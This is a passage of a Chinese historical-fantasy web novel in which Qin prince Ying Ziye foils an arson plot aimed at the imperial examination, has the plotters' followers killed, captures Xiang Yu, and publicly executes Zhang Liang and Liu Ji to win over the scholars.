过几日便是科举,这是他等待已久的机会,他绝不会错过!
“只是这条老狐狸,藏得比项羽更深罢了。”
他的手指重重地点在那些考院内部的红圈上,语气斩钉截铁。
“给本公子盯死这些区域!”
“项羽的人能将火油埋进来,必有内应!”
“这个内应,或许是当初建造时的监工,被收买了。”
“或许是混入以工代赈学子中的奸细。”
“甚至可能是被调来看守考院的士卒!”
“不管他是谁,掘地三尺,也要给本公子把他揪出来!”
“诺!”
暗河成员感受到主上话语中的决绝杀意,心神一凛,立刻领命。
“继续扩大监控范围。”
赢子夜目光再次落回地图上,思维飞速运转。
“刘季不动则已,一动必然直指要害。”
“他想要的,或许和项羽不一样……但一定更大。”
书房内烛火摇曳,将赢子夜的身影投在墙上,显得愈发高大而莫测。
他的目光仿佛穿透了墙壁,看到了那些在黑暗中蠢蠢欲动的身影。
“都来吧……让本公子看看,你们究竟能翻起多大的浪。”
……
科举之期愈近,咸阳城内的气氛便愈发奇特。
一种混合着希望、焦虑、憧憬与竞争的复杂情绪,弥漫在空气里,几乎触手可及。
大街小巷,随处可见埋头苦读的士子。
他们或倚靠在墙根下,或蜷缩在客栈窗边,或干脆就在路边的石阶上铺开书简。
口中念念有词,对周遭的喧嚣充耳不闻。
仿佛要将最后一点光阴都榨取出来,塞进脑子里。
《秦律》《商君书》的片段、算术口诀、策论范文……
各种声音低低地交织在一起。
形成一片独特的属于读书人的嗡鸣。
也有一些家境更为贫寒或盘缠将尽的学
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子。
不得不放下书本,想方设法赚取最后的费用。
街角巷尾,多出了一些临时的小摊,售卖着字画,代写书信,甚至是一些粗陋的手工艺品。
他们脸上带着读书人的矜持与窘迫,却又不得不为五斗米折腰。
整个咸阳。
仿佛变成了一座巨大的露天学堂与市集的混合体。
蓬勃,躁动,又充满了一种决定命运前的紧张感!
然而,在这片由文气与生计交织的浪潮之下。
一些更加隐秘的“泥沙”,也趁着这股人流,悄然混入了咸阳!
城南门口,清晨时分。
挑着新鲜蔬菜的农人排着长队等待入城查验。
几个看起来皮肤黝黑,手脚粗大,穿着打着补丁粗布衣的汉子混在其中。
他们操着略带外地口音的秦语,与旁边的老农抱怨着天气和菜价,神态动作惟妙惟肖,顺利通过了盘查。
为首一人,低头时眼中闪过的精明与算计,却与那副憨厚的菜农形象格格不入。
而城西的集市。
一个挂着“铁口直断”布幡的算命摊子悄然出现。
摊主是个留着山羊胡,眼神飘忽的中年术士。
对着几名好奇的士子摇头晃脑地说着什么“文昌星动,紫气东来”的吉利话,收取着不多的铜钱。
无人注意到。
他那看似随意摆弄的蓍草铜钱,实则是在记录着不远处一队巡城卫兵经过的时间间隔。
还有一些人,化作了走街串巷的货郎,码头扛包的苦力,甚至是在酒肆中喝得酩酊大醉,胡言乱语的醉汉……
他们的身份各异。
分散在咸阳城的各个角落。
看似与成千上万的普通百姓和士子无异。
但他们,都有一个共同点——
行动举止间,那种经过刻意掩饰却又无法完全消除的警惕。
以及偶尔望向皇城或考院方向时,眼中那一闪而逝,与自身身份绝不相符的厉芒!!
刘季,这条深谙隐藏之道的老狐狸,终于还是带着他精心挑选的核心党羽,如同滴水入海般,悄无声息地潜入了帝国的心脏!
他们比项羽的人更谨慎,更狡猾。
也更懂得如何利用这庞大城市的喧嚣与混乱来掩盖自己的行踪。
他们就在所有人的眼皮底下。
等待着,那个早已注定好的,即将到来的混乱时刻……
……
第290章 暗战开始!
六公子府书房。
此刻俨然成为这场席卷咸阳的暗战风暴中心。
赢子夜静立于那幅巨大的城防图前。
上面早已被各种颜色的标记覆盖。
如同一张巨大的蛛网。
而他,就是稳坐中央的蜘蛛,感受着每一根丝线的细微震动。
最新的情报如同流水般汇入,经由暗河成员清晰冷静的禀报,在他脑中迅速整合、分析!
当听到刘季及其党羽已确认混入咸阳,并大致锁定了其几个可能的藏身区域时。
赢子夜一直平静无波的脸上,终于露出一丝冰冷的,猎人看到猎物终于全部踏入陷阱的笑意。
“终于……肯全部现身了么?”
他低声自语,声音里听不出喜怒。
只有一种一切尽在掌握的漠然!
“藏头露尾这么久,也真是难为这位‘新任侠魁’了。”
就在这时。
一阵香风袭来,伴随着慵懒而妖娆的声音。
焰灵姬如同暗夜中盛放的火焰,袅袅娜娜地倚在门框上,红唇勾着诱人的弧度。
“公子~您之前可是答应过妾身的,那位小圣贤庄的张良先生,要交给妾身来对付的。”
“如今眼看就要收网了,您可不能食言哦~”
赢子夜并未回头,目光依旧停留在地图上刘季可能藏身的几个区域,语气平淡。
“本公子答应的事,自然不会忘。”
他抬手,从一旁的多宝格上取出两个早已备好的玉瓶和那块流光溢彩的火雨玛瑙,看也不看便向后抛去。
焰灵姬眼睛一亮,纤纤玉手轻巧地接过。
感受到玉瓶中丹药磅礴的能量和火雨玛瑙中与她**同源的火属精华。
脸上顿时绽放出惊喜而妖媚的笑容。
如同得到了心爱玩具的猫!
“张良,交给你了。”
赢子夜的声音依旧平静,却带着不容置疑的决断。
“我要他活着,但我不希望他再有能力,再有任何心思,去摆弄他那点可笑的复国梦想。”
“明白吗?”
“公子放心~”
焰灵姬将宝贝收入怀中,笑得花枝乱颤,眼中却闪烁着危险而兴奋的光芒。
“妾身定会好好‘照顾’子房先生,保证让他…终身难忘,再无暇他顾。”
她舔了舔红唇,仿佛已经看到了猎物在火焰中挣扎的模样。
“去做事吧。”
赢子夜挥了挥手。
“此事若办得漂亮,另有赏赐。”
“多谢公子~”
焰灵姬娇笑着,身影如同一团跃动的火焰,瞬间消失在书房外的夜色中,空气中只留下一缕灼热的余香。
送走焰灵姬,赢子夜脸上的最后一丝波动彻底消失,只剩下纯粹的冰冷与杀伐。
他的目光再次聚焦在地图上。
“赵弋苍。”
“卑职在!”
阴影中,赵弋苍如同鬼魅般现身。
赢子夜的手指,重重地点在地图上那几个被标记为刘季党羽可能藏匿的区域,声音冷得如同万载寒冰。
“刘季这条老狐狸和他带来的人…夜间行动,锁定他们的具体藏身位置后……”
他顿了顿,吐出三个字。
“一个不留。”
赵弋苍心神一凛,眼中闪过嗜血的寒光,但立刻领命。
“诺!保证干净利落!”
“记住。”
赢子夜强调道,目光锐利。
“行动必须隐秘,速战速决!”
“绝不可惊扰到城中士子,尤其是临近考院区域!”
“若因你们行动失措,引发骚乱,影响了科举大局……提头来见!!”
“卑职明白!定选择夜深人静之时动手,绝不会波及无辜!”
赵弋苍重重保证。
“另外。”
赢子夜继续下令。
“通知黑冰台,可以收网了。”
“那七家售卖火油的商铺老板,以及所有经手参与运输埋藏火油的人员,全部秘密抓捕,投入牢狱!”
“严加审讯,挖出他们背后所有的线!”
“还有,将项羽派人埋设的所有火油地点,立刻秘密清理干净!”
“换上等量的清水或其他无害之物。”
“动作要快,要无声无息!”
“诺!卑职这便去协调黑冰台,即刻行动!”
赵弋苍领命,身影迅速融入黑暗。
书房内,再次只剩下赢子夜一人。
他缓缓坐回案后,指尖拂过地图上那座即将迎来无数考生,也即将成为巨大陷阱的考院!
网,已彻底收紧。
刽子手的刀,已然举起!
只待时辰一到,便是图穷匕见,血流成河之时!!!
而这一切,都将被牢牢控制在黎明到来之前。
被掩盖在…帝国盛事的华美袍服之下。
……
夜色如墨。
吞噬了咸阳白日的喧嚣。
只余下打更人悠远而空洞的梆子声,以及某些角落里蠢蠢欲动的杀机。
城西,一处看似普通的民宅区。
几声极轻微的,仿佛野猫蹿过屋瓦的响动之后,几道如同融入夜色的黑影悄无声息地翻入院墙。
他们是黑冰台的锐士!
动作精准如机器,配合默契到了极致!
几乎没有发出任何多余的声响,院门被从内部悄然打开,更多的黑影如同潮水般涌入。
宅内。
几名正在低声商议明日行动的刘季部下刚刚察觉到一丝不对!
还未来得及惊呼或拔出兵刃!
冰冷的刀锋,便已从背后精准地吻上了他们的喉咙,或是带着剧毒的**没入了他们的颈侧!
挣扎是徒劳的!
甚至连倒地的声音都被提前准备好的同伴稳稳接住!!
短短几个呼吸间,这座宅院便重归死寂!
只有空气中迅速弥漫开的淡淡的血腥味,证明着这里发生过什么。
黑冰台锐
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士迅速检查尸体,搜查房间。
带走一切可能成为证据的物品。
抹去一切痕迹后,再次无声地消失在黑暗中。
几乎在同一时间。
城南。
一家廉价客栈的后院柴房。
这里是项羽部下的一处秘密联络点。
一道黑影如同蝙蝠般倒挂在房梁上,静静等待着。
当一名项氏子弟警惕地推开柴房门,准备换岗时,那道黑影骤然落下!
没有金铁交鸣,只有一声极其沉闷的骨骼碎裂的轻响!!
那项氏子弟的眼睛瞬间凸出,身体软软倒地。
黑影毫不停留,如同鬼魅般掠出柴房,扑向隔壁亮着微弱灯光的房间。
房间内,另外两名项羽部下正在擦拭兵器,听到门外异响,刚警惕地站起身,房门便轰然破碎!
一道狭长漆黑的剑光如同毒蛇般窜入,快得超出了他们的视觉捕捉能力!
一人喉间瞬间出现一道细密的血线!
另一人则被随后跟进的戴着黑色手套的手掌,猛地扼住咽喉!
“咔嚓”一声,颈骨断裂!!!
整个过程发生在电光火石之间!
凌厉、高效、没有丝毫多余的动作!
暗河的**冷漠地扫视了一眼地上的尸体,如同处理垃圾般,迅速将尸体拖入角落用杂物掩盖,随即身影融入窗外夜色,仿佛从未出现过。
类似的场景。
在咸阳城中好几处偏僻的角落同时上演。
黑冰台与暗河,这两支帝国最锋利的暗刃,在这一夜露出了它们狰狞的獠牙。
他们如同最高明的猎手和最冷酷的清道夫。
精准地找到目标,沉默地挥下屠刀。
然后迅速清理现场,不留下一丝可能引起恐慌的痕迹!
然而,并非所有行动都如此顺利……
在城北一处废弃的染坊。
当黑冰台的人破门而入时。
只看到一盏被打翻的油灯和尚有余温的茶盏。
以及后窗洞开的冷风。
显然,藏匿于此的刘季核心党羽,在最后关头察觉到了危险,提前一步仓皇逃离!
另一处。
暗河成员根据线索扑向项羽可能藏身的一处货栈时,同样扑了个空。
货栈内一片狼藉,重要的东西已被带走,只留下一些来不及处理的杂物和地上凌乱的脚印,显示着主人撤离时的匆忙。
消息通过特殊渠道,迅速传回赢子夜耳中。
“刘季、项羽……跑了?”
书房内,赢子夜听到禀报,并未动怒,只是眼中闪过一丝意料之中的冷光。
“倒是比我想象的,更警觉几分。”
他沉吟片刻,冷声道:“无妨,丧家之犬,惶惶不可终日。”
“传令下去,黑冰台、暗河,全力追缉!!!”
“封锁所有可能出城的通道,严加盘查!”
“他们一定还在咸阳城内!”
“诺!”
第291章 夜之追击!
悦来客栈,丙字三号房。
窗外月色朦胧,窗内一灯如豆。
张良并未安睡,而是坐在案前,就着昏黄的灯火翻阅着一卷竹简。
然而,他的心思显然不在书上。
指尖无意识地敲击着桌面,眉头微蹙。
似乎在等待着什么,又似乎在为什么事情感到不安。
空气中弥漫着一种不可名状的压抑。
忽然!
一阵极细微,仿佛丝绸摩擦的窸窣声从门缝和窗隙中钻了进来。
紧接着,一丝丝淡不可见,带着异香的粉色氤氲之气,如同拥有生命般,悄无声息地渗入房间。
张良敲击桌面的手指猛地一顿!
他眼中精光一闪。
几乎没有任何犹豫,身体如同没有重量般向后飘退。
同时,袖袍一拂,案上的灯盏被他一股柔劲扫向房门方向!
“嗤——!”
灯油泼洒而出。
却在半空中仿佛撞上了一堵无形的墙壁。
竟被那粉色的氤氲之气瞬间吞噬、湮灭,连一丝青烟都未曾冒出!
“咯咯咯……”
一阵娇媚入骨,却又带着令人毛骨悚然寒意的笑声,仿佛从四面八方响起,回荡在狭小的房间内。
“子房先生~深夜苦读,真是好兴致呢~”
“要不要妾身…来为你红袖添香啊?”
话音未落,那粉色的氤氲骤然变得浓郁,随即猛地凝聚、燃烧起来!
化作一条完全由幽蓝色火焰构成,栩栩如生的毒蛇。
带着灼热的高温与致命的美丽,直扑张良面门!!!
张良脸色凝重,他早已料到会有麻烦,却没想到来的竟是如此诡异难缠的角色!
他不敢硬接,身体如同柳絮般再次向后飘退,同时左手并指如剑,快速在身前虚划数个玄奥符文。
“御!”
一声低喝。
空气中仿佛泛起无形涟漪。
那火焰毒蛇撞在涟漪之上,竟被稍稍阻了一阻,火焰四溅,点燃了旁边的帷幔!
借着这刹那的间隙。
张良右手探入袖中,看似随意地抓出一把平时把玩的黑白围棋子,看也不看,天女散花般向着房间各个角落弹射而去!!
叮叮咚咚……
棋子落地的声音清脆而杂乱,看似毫无规律。
可就在最后一枚棋子落定的瞬间,整个房间的气场陡然一变!!
那原本直扑而来的火焰毒蛇仿佛瞬间失去了目标,变得有些迷茫,在空气中徒劳地扭动。
房间内的景物也似乎发生了极其细微的扭曲,桌椅的位置变得模糊不定。
“咦?奇门遁甲?有点意思!”
焰灵姬略带惊讶的声音再次响起,却依旧无法判断其具体方位。
下一刻,房间各处,同时腾起数道幽蓝色的火柱,试图以蛮力强行破开这诡异的阵法束缚!
张良趁此机会,身形一闪,已如鬼魅般掠至窗边。
他知道,此地绝不可久留。
对方有备而来,且手段诡异狠毒,缠斗下去自己必吃大亏!
然而,他刚推开窗户。
窗外夜空中,无数点幽蓝色的火星凭空浮现!
瞬间凝聚成一张巨大的燃烧网,朝着他当头罩下!
封**所有去路!
“先生这是要去哪儿啊?”
“良宵苦短,不如留下陪妾身多玩一会儿嘛~”
焰灵姬的声音带着戏谑的黏腻,从四面八方压迫而来。
张良瞳孔一缩,心知今夜恐怕难以善了。
他猛地一咬舌尖,强迫自己冷静下来。
双手再次快速结印,体内内力毫无保留地汹涌而出,注入到他刚才布下的简易棋子阵法之中!
顿时,房间内那些看似杂乱无章的黑白棋子骤然亮起微光,彼此气机相连,构成一个更加复杂玄妙的阵势!
空气的扭曲感愈发强烈!
甚至产生了数个肉眼难以分辨的视觉幻象。
连那笼罩窗口的火网都似乎波动了一下!
“破!”
张良低吼一声,抓住阵法运转产生的一丝间隙,身体如同离弦之箭,朝着火网最薄弱之处猛地撞去!
同时。
他袖中再次滑出几枚刻满符文的玉片,毫不犹豫地向后掷出!
玉片迎风便燃,化作数道凌厉的白色火光,并非攻向焰灵姬,而是射向房间的承重柱和屋顶!
他竟是要逼焰灵姬自救,或者干脆将这客栈弄塌,制造更大的混乱来脱身!
“啧!真是狠心呢!”
焰灵姬的声音终于带上了一丝恼怒。
幽蓝火焰猛地回卷,试图阻挡那几道爆裂的玉片火光。
轰隆!!!
剧烈的**声和房屋摇晃的声响终于打破了夜的寂静!
而张良的身影,已然趁着这**的冲击和火焰回卷的瞬间空隙,如同一条滑不留手的游鱼,险之又险地穿透了那张火网,落入窗外漆黑的巷道之中。
片刻不敢停留,向着更深的黑暗遁去!
房间内,火焰翻腾,烟尘弥漫。
焰灵姬的身影在幽蓝火焰中缓缓凝聚。
她看着张良消失的方向,又看了看一片狼藉,即将坍塌的房间。
非但没有生气,反而伸出舌尖,舔了舔红唇。
眼中,闪烁着更加兴奋和危险的光芒。
“跑得真快…不过,这样才更有趣,不是么?”
……
这一夜的咸阳,注定无眠。
在黑冰台与暗河联手发动的如同**般的清洗与追捕下,整个城市仿佛变成了一张巨大的罗网,每一寸阴影都可能隐藏着致命的杀机!
之前的扑空,并未让这两台帝国机器有丝毫气馁。
反而激起了它们更冷酷、更高效的运转。
此时此刻。
项羽如同困兽,凭借着一身霸道的修为和项氏死士的拼死掩护,在城南的贫民区与追兵展开了激烈的巷战。
整个人在火光与尘土中犹如一尊杀神。
他手中霸王枪舞动,风雷乍起!
每一次横扫,都裹挟着撕裂空气的呼啸,仿佛要将整条街巷一分为二。
枪身震荡,火星与石屑四溅,砖石墙壁被生生轰塌,尘土翻腾!
前扑的数名黑冰台锐士,虽训练有素,却也被这绝世的蛮横枪势震得七窍流血,
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惨叫着横飞而出!
有一人躲闪不及,整副铁甲被枪锋点中,竟像破布一般爆碎开来,鲜血溅洒在墙壁上,染红了一片!
“来啊!!”
项羽怒吼,声音如雷霆炸裂!
他双目通红,杀意滔天,脚下碎石被他生生踏裂,一步踏出便带着地动山摇的震响。
周围的死士早已拼尽性命为他开路。
有人被**矢洞穿,仍扑上去咬住黑冰台的手腕,为项羽赢得一瞬间的喘息。
血与火的味道混合,化为最野性的战场!
然而,黑冰台锐士并不与他硬拼,他们如同毒蛇一般,缠绕在阴影之中。
一波攻击逼退,另一波冷箭便从屋檐、墙缝、阴影中骤然射出!
项羽双臂一震,枪花卷动风雷,将半空中扑来的**矢尽数震飞,甚至反震回去,钉**两名潜伏者!
可就在他以为可以杀出一线生机时。
脚下暗格骤然崩开,数十根玄铁尖刺齐齐弹出!
若非他本能地翻枪点地,硬生生借力拔高,几乎整条腿都要被洞穿!
“卑鄙小儿!”
他怒吼一声,枪势倒卷,轰然砸在地上,直接将那片机关暗格击得粉碎,泥石飞溅!
但也正是这短短的停顿,让包围圈再度收紧。
漆黑的绳索宛如毒蛇自两侧爆射而来,缠住他的臂膀。
他一声暴喝,真气鼓荡,硬生生将绳索崩断,反手一枪挑飞了两个试图近身的黑冰台锐士,鲜血如雨洒落!
然而,他的呼吸却在不易察觉间开始变得急促。
黑冰台不是寻常死士。
他们从不贪功。
每一步退让,每一次攻击,都是为了不断消磨他的力气。
终于,当项羽再一次横扫,逼退面前数人,试图借势越上矮墙突围时,脚下突然猛然一紧!
玄铁丝网!
锋利无比,竟带着锁魂般的符文之光,瞬间死死缠住了他的小腿!
“吼——!!!”
项羽发出惊天动地的咆哮,双臂青筋暴起,硬是要将丝网连着地面一起扯裂!
就在这时。
三张浸染麻药的巨网从天而降,当头盖下!
项羽暴怒挣扎,霸王枪如同巨龙怒舞,瞬息之间撕裂了大半网绳!
他甚至一度挣脱半身,带着残破的网片猛然横扫,逼得数名黑冰台高手纷纷倒飞,吐血溅地!
然而下一刻。
几根牛筋索如同灵蛇般死死勒在他的手臂和脖颈之上!
关节传来剧烈的疼痛,铁尺带着沉重的力量,猛击在他的肘弯、膝盖,骨骼发出令人牙酸的脆响!
霸王枪“轰”的一声脱手,深深钉入青石地面!
项羽轰然跪倒,浑身却依旧如同一头被锁链捆缚的猛兽,眼中杀意炽烈,仿佛要以眼神将所有人燃烧殆尽!
“赢——子——夜——!!!”
那一声咆哮,撕裂长空,震得周围屋瓦簌簌落下,百丈之外都能听闻!
可最终,他还是被铁链与麻药压制的符文锁死手脚,如同拖拽巨兽般,被黑冰台锐士拉入黑暗的巷道,消失在无边的夜色之中。
第293章 收拢天下学子之心!
菜市口。
往日里此处虽是刑场,却也多是处决些江洋大盗,寻常**。
从未像今日这般,在行刑时间未到之前,便已被人群围得水泄不通。
消息如同长了翅膀,早已传遍全城——
小圣贤庄三当家张良,以及另一名重要逆犯,将被押至此地!
无数百姓翘首张望,议论纷纷。
而更令人瞩目的是,人群中,混杂着大量身穿儒袍的士子!
他们今日原本应在客栈或学舍中做最后的温**,此刻却都被这惊天消息吸引而来,脸上带着难以置信的震惊、困惑,以及一丝不安。
当那两辆囚车在无数黑冰台锐士和廷尉衙役的严密押送下,缓缓驶入刑场时,整个菜市口瞬间沸腾了!
“看!真的是张良先生!”
“怎么会……怎么会是张良先生?”
“他可是儒家贤良,怎会成了阶下囚?”
“另一个是谁?看起来像个地痞……”
囚车中。
张良身穿肮脏的囚服,头发散乱,身上还带着血迹和伤痕。
尤其是那曾经蕴含着智慧与从容的眼眸。
此刻,却只剩下了一片死寂的空洞与绝望,仿佛魂魄早已被抽离。
他修为被废,一夜之间从云端跌落泥沼,这种打击远比肉体上的痛苦更甚。
旁边的刘季则显得萎靡不振,眼神躲闪。
努力想低下头,却被沉重的木枷固定着,只能任由无数道目光如同针一般刺在他身上。
质疑声、惊呼声、议论声如同潮水般涌起!
尤其是儒家学子们,脸色煞白,仿佛心中的某种信仰正在崩塌。
张良之名。
在天下儒生心中地位极高。
如今竟以如此狼狈不堪的模样出现在刑场,这让他们无法理解,更无法接受!
就在这时。
一辆玄黑色的马车在精锐护卫的簇拥下,驶入刑场。
车帘掀开,赢子夜一袭玄衣,身姿挺拔,面容冷峻地走了下来。
他的出现,瞬间让喧闹的刑场安静了不少,所有人的目光都聚焦在这位如今声望渐浓的六公子身上。
赢子夜一步步走上临时搭建的高台,目光如同冷电,扫过下方黑压压的人群,尤其是在那些面色惶然的儒家学子脸上稍作停留。
他并未立刻言语,而是任由那份沉重的寂静蔓延,压得人几乎喘不过气。
良久。
他才缓缓开口。
声音清朗却带着千钧之力,清晰地传入每个人的耳中:
“今日,本公子于此,非为观刑,而为正名!”
“为天下被蒙蔽,被利用的学子,讨一个公道!!!”
他猛地抬手,指向囚车中如同死狗般的张良。
“尔等可知,尔等心中这位儒雅博学的张良先生,背地里究竟是何等面目?!”
“他!身为儒家弟子,却心念旧韩,勾结逆匪项羽、刘季之流,密谋于科举之日,在咸阳城中四处纵火!制造惊天混乱!”
此言一出,全场哗然!!!
纵火?
科举之日?
无数士子倒吸一口凉气!
赢子夜的声音陡然提高,如同惊雷炸响,带着滔天的怒意。
“尔等可知,他埋设火油之地,就在尔等即将步入的考院之旁!就在尔等寄居的客栈之侧!”
“他所图为何?他所图便是要让这咸阳化为火海,让这科举化为乌有,让尔等寒窗苦读之成果,让帝国遴选人才之盛举,与他那可笑复国梦一同陪葬!”
“在他眼中,尔等之前程,尔等之性命,与草芥何异?!”
“天下学子之希望,不过是他用来复仇的筹码和棋子!”
轰!
这番话,如同点燃了**桶!!
方才还对张良抱有同情和疑惑的学子们,尤其是那些想到自己可能就在火海边缘的士子,瞬间炸了!
恐惧、后怕、以及被欺骗,被利用的巨大愤怒,如同火山般爆发出来!
“畜生!枉我还尊称他一声先生!”
“其心可诛!其罪当诛!”
“竟然想将我们全都烧死?!”
“杀了他!杀了这个**子!”
怒骂声、斥责声如同海啸般席卷刑场!
儒家学子们更是面红耳赤,感到无比的羞愧与愤怒!
张良的行为,简直是在所有儒生脸上狠狠扇了一巴掌!
赢子夜看着群情激愤的场面,抬手虚压,再次让现场安静下来。
他的目光扫过那些激动的儒家学子,语气依旧冰冷。
却多了一丝不易察觉的安抚。
“然,本公子深知,一人之罪,非一家之学之罪!”
“张良之逆行,乃其个人之丧心病狂,与天下勤学苦读,心怀报国之志的儒家学子,毫无干系!”
他声音斩钉截铁,清晰地宣告。
“故,此次科举,绝不会因张良一人之罪而取消,更不会因学派出身而对任何学子另眼相看!”
“一切,皆以才学论高低!以试卷定成败!”
“儒家学子,只要身家清白,才学出众,依旧可堂堂正正踏入考场,为国效力!”
“其之罪,罪在自身,不在尔等!”
“大秦取士,唯才是举,此诺,不变!!!”
寂静。
死一般的寂静之后!
是如同山崩海啸般的欢呼与喝彩!!
“公子殿下英明!”
“陛下圣明!大秦万岁!”
“吾等必竭尽全力,报效帝国!”
尤其是那些儒家学子,激动得热泪盈眶!
他们原本以为会受到牵连,前途尽毁,却没想到得到了如此公正的承诺!
心中的巨石落地,对赢子夜的感激和崇敬瞬间达到了顶点!
赢子夜立于高台之上,沐浴在万千学子激动而狂热的注视中,玄衣在晨光中猎猎作响。
这一刻,张良和刘季的罪行被彻底钉死在了耻辱柱上。
而帝国的威信与公正,以及赢子夜个人的声望,也被推向了前所未有的高峰。
人心,尽在掌握!
……
赢子夜那番石破天惊的宣告和承诺,如同在滚沸的油锅中投入了一把烈火,将整个菜市口的情绪彻底点燃。
万千学子与百姓的欢呼声,对帝国的赞誉声,对赢子夜的称颂声,如同海啸般经久不息。
将那囚车中的两人彻底淹没!!
在这滔天的声浪中。
张良死寂空洞的眼眸里,似乎极其微弱地波动了一下。
那是一种比死亡更深沉的绝望和悲哀。
他毕生追求的信念,他运筹帷幄的智计,他儒雅超然的名声……
在此
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刻,被赢子夜用最彻底的方式,在天下人面前碾得粉碎!
甚至成为了衬托帝国“公正”与“仁德”的背景板!
这种诛心之举,远比刀斧加身更为残忍。
而一旁的刘季,则早已吓得魂飞魄散。
身体如同筛糠般抖动。
黄色的尿液顺着裤腿流下,散发出骚臭之气。
他徒劳地试图蜷缩,却被木枷固定,只能发出呜呜的毫无意义的哀鸣。
往日那点狡黠和无赖气质荡然无存,只剩下最原始的恐惧。
赢子夜站在高台之上,冷漠地俯视着这一切。
他享受了片刻这由他亲手引导,民心所向的浪潮。
但并未沉溺其中。
他的目的已经达到——
张良身败名裂,帝国威信树立,学子人心收拢。
是时候,为这场大戏,画上最后一个**了!
他脸上的温和与慷慨渐渐收敛。
重新被那种帝王子嗣特有,不容置疑的冰冷所取代。
缓缓抬起手。
只是一个简单的动作,却仿佛带着无形的魔力!
那震耳欲聋的欢呼声浪,竟然如同被刀切般骤然平息下去。
所有人的目光都再次聚焦于他,屏息凝神,等待着最终的结局。
赢子夜的目光扫过台下那两滩烂泥般的囚犯,最终落在了监刑官身上。
他的声音不高,却清晰地传遍了突然变得死寂的刑场!
每一个字都如同冰珠砸落地面!
带着绝对的威严和终结的意味!!
“罪证确凿,罪无可赦。”
“依《秦律》,谋逆大罪,当处极刑。”
“斩。”
没有多余的废话,没有情绪的宣泄,只有一个简简单单,却重如山岳的字。
“诺!”
监刑官早已准备就绪,闻令立刻躬身领命,转身面向刑台,脸色肃穆,从签筒中抽出一支冰冷的黑色行刑令签,运足中气,高声喝道:
“奉公子殿下令!验明正身!”
“逆犯张良、刘季,罪大恶极,天地不容!即刻——行刑!!!”
“斩”字尾音还在空中回荡!
两名膀大腰圆,赤裸上身,头裹红巾的刽子手已然大步上前。
他们面无表情,眼神麻木,仿佛只是在进行一项日常的工作。
酒碗摔碎在地,鬼头大刀被高高举起!
冰冷的刀锋在清晨的阳光下反射出令人心悸的寒芒。
张良闭上了眼睛,或许是一种解脱。
刘季发出了最后一声绝望而扭曲的嘶嚎。
刀光闪过!!
两道血泉冲天而起!
两颗头颅沉重地跌落在地!
滚动了几下,沾满了尘土。
欢呼声没有再次响起,取而代之的是一种极致的,被震撼到的寂静。
所有人都怔怔地看着那两具迅速失去生机的尸体,看着那刺目的鲜血染红刑台。
恐惧、快意、震撼、敬畏……
种种复杂的情绪交织在每个人心头。
赢子夜冷漠地看了一眼行刑台,仿佛只是处理了两件垃圾。
他不再多言,转身,在无数道敬畏的目光注视下,走下高台,登上马车。
玄黑色的车帘垂下,隔绝了所有的视线。
马车缓缓启动,驶离这片弥漫着血腥与死亡气息的刑场。
第294章 这是一个由帝国掌控的百家时代!
车厢内,却是一片冰封般的寂静。
赢子夜靠坐在软垫上,双眸微阖,指尖无意识地捻动着,仿佛在回味方才那场完美操控人心的大戏,又仿佛只是在休息。
忽然,他闭着眼,淡淡开口。
声音平稳却带着一种不容置疑的穿透力,清晰地传入车窗外随行护卫的赵弋苍耳中。
“赵弋苍。”
“卑职在。”
赵弋苍的声音立刻从车窗外传来,低沉而警惕。
“方才菜市口发生的一切。”
赢子夜的声音没有丝毫波澜,仿佛在说一件微不足道的小事。
“张良如何勾结逆匪,意图焚城毁科举,视天下学子如草芥,”
“又是如何身败名裂,被万夫所指,”
“本公子又是如何秉公处置,明正典刑,且不牵连无辜儒家学子……”
他顿了顿,语气骤然转冷,带着一种刻意而冰冷的扩散欲。
“将这些事,原原本本的给本公子散出去。”
“要让诸子百家,尤其是…桑海小圣贤庄里的每一个人,都听得清清楚楚,明明白白!!”
赵弋苍在车外闻言,心神一凛,瞬间明白了主上的深意。
这不仅仅是通报结果,更是一场诛心之战的后继!
是要用张良的凄惨下场和身败名裂,去狠狠震慑所有还心怀异志的百家之人!
尤其是要敲打儒家,让他们彻底认清现实!
“诺!”
赵弋苍的声音带着一丝嗜血的兴奋,“卑职立刻去办!”
“定让暗河的所有渠道都动起来!”
“酒楼茶肆,市井流言,甚至不小心落入各家探子手中的密报,保证三日之内,让诸子百家无人不知,无人不晓!”
“特别是小圣贤庄,卑职会让他们收到一份格外详细的情报。”
“去做吧。”
赢子夜淡淡吩咐了一句,便不再多言。
马车继续平稳前行,驶向咸阳宫方向。
而一场无形却更加凌厉的信息风暴,随着赢子夜这道命令,即将以咸阳为中心,向着天下诸子百家,尤其是远在桑海的小圣贤庄,席卷而去!
这风暴所携带的,不仅是事实,更是恐惧、威慑!
是一道清晰无比的界限!
顺帝国者生,逆帝国者…身败名裂,死无全尸!!!
……
咸阳宫。
麒麟殿。
晨光虽已普照,但殿内的气氛却比往日更加凝重肃杀。
仿佛菜市口的血腥气,已然弥漫到了这帝国权力的最高殿堂。
百官垂首,许多人额角都沁着细密的冷汗。
尤其是以博士宫博士淳于越为首的几位儒家官员,更是面色苍白,如履薄冰。
张良之事,如同一声惊雷,炸得他们措手不及,心惊胆战!
赢子夜位列百官之前,神色沉痛而凛然,出列奏禀。
他的声音清朗却带着沉重的力量,回荡在寂静的大殿中!
“启禀父皇!逆犯张良、刘季等人,已于今日清晨,在菜市口明正典刑,伏诛授首!”
他先是干脆利落地禀报了结果。
随即,语气陡然变得激昂起来,带着毫不掩饰的愤怒与后怕!
“然,儿臣每每思及此獠之阴谋,仍觉脊背发寒!”
“其心之毒,甚于蛇蝎!”
“竟欲于科举之日,纵火焚城,陷数万莘莘学子于火海,毁我大秦遴选人才之盛举于一旦!”
“其罪,罄竹难书!”
“其行,人神共愤!”
他详细描述了黑冰台与暗河查获的火油埋设地点,其数量之巨,位置之刁钻。
但,又刻意略去了考院内部的位置。
听得殿内百官无不色变,倒吸凉气!
若此计得逞,后果不堪设想!
“幸赖父皇天威庇佑,黑冰台用命,方能及时挫败此惊天阴谋,擒杀元恶,保咸阳安宁,保科举无恙!”
赢子夜适时地将功劳归于始皇和帝国机器。
御阶之上,珠帘之后。
嬴政静静听着。
虽然早已通过黑冰台知晓了一切,但此刻听着赢子夜慷慨陈词,他深邃的目光中闪过一丝不易察觉的了然。
他这位儿子,绝非仅仅是在汇报工作。
果然,赢子夜话锋一转,语气变得宽仁而理智。
“然,儿臣以为,张良之罪,乃其个人丧心病狂,利令智昏,行此逆天之举。”
“天下儒家学子,大多勤勉向学,心怀报国之志,于此阴谋并无瓜葛。”
“故儿臣于刑场之上,已明告天下!!”
“此次科举,绝不会因张良一人之恶行而波及无辜儒家学子!”
